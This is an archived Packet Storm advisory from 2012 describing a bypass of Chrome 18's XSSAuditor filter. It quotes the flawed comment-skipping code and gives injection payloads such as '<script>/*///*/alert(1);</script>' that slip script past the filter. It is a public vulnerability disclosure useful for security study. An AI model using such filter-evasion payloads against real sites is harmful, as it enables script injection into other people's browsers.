Exploit the possiblities

Chrome 18 Anti-XSS Bypass

Chrome 18 Anti-XSS Bypass
Posted Jun 2, 2012
Authored by Keith Makan

Chrome 18 suffers from an anti-cross site scripting filter bypass vulnerability.

tags | exploit, xss, bypass
MD5 | ceab9abe49a3b405a690a589b8be9717

Chrome 18 Anti-XSS Bypass

Change Mirror Download
# Exploit Title: Chrome 18 anti-XSS bypass
# Date: 2012-05-31
# Author: k3170makan
# Vendor or Software Link: [download link if available]
# Version: 18.0.1025.162
# Category:: local
# Google dork: N/A
# Tested on: Ubuntu 10.04
# Demo site: N/A

Chrome 18---and possibly 19--- versions anti-XSS filter or XSSAuditor as
its called does not pick up certain XSS vectors.
Its possible to by pass the XSSAuditor by fooling it into believing that
the javascript you inject is commented out.
To do this you need to use both in line and multiline comment tags after
one another in the injection:

Code Snippet:

else if (startsMultiLineCommentAt(string, startPosition)) {
if ((foundPosition = string.find("*/", startPosition)) != notFound)
startPosition = foundPosition + 2; /*<--- skips 2 chars here*/


Because the Auditor skips two chars you can fool it by add another
slash to an inline incomment that succeeds a multiline comment e.g
'/*//'+'/'

So you need to make sure that in your injection---before any actual
javascript syntax---you include "/*///" and make sure to close the comment
as well
Some examples would be:

<script>/*///*/alert(1);</script> #it will pick up the multiline comment
here and skip to the next 2 chars, which will again be comments, so the
check will pass leaving the javascript alone!
<script>/*///////*/alert(1);</script>
you can add whatever chars you want to the vector after the '/*///' part as
long as you close the comment obviously.

Chrome Issue track --->
http://code.google.com/p/chromium/issues/detail?id=130594



gr33ts Telspace Systems ;)

site:k3170makan.blogspot.com

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    22 Files
  • 2
    Nov 2nd
    28 Files
  • 3
    Nov 3rd
    10 Files
  • 4
    Nov 4th
    1 Files
  • 5
    Nov 5th
    5 Files
  • 6
    Nov 6th
    15 Files
  • 7
    Nov 7th
    15 Files
  • 8
    Nov 8th
    13 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    9 Files
  • 11
    Nov 11th
    3 Files
  • 12
    Nov 12th
    2 Files
  • 13
    Nov 13th
    15 Files
  • 14
    Nov 14th
    17 Files
  • 15
    Nov 15th
    19 Files
  • 16
    Nov 16th
    15 Files
  • 17
    Nov 17th
    19 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close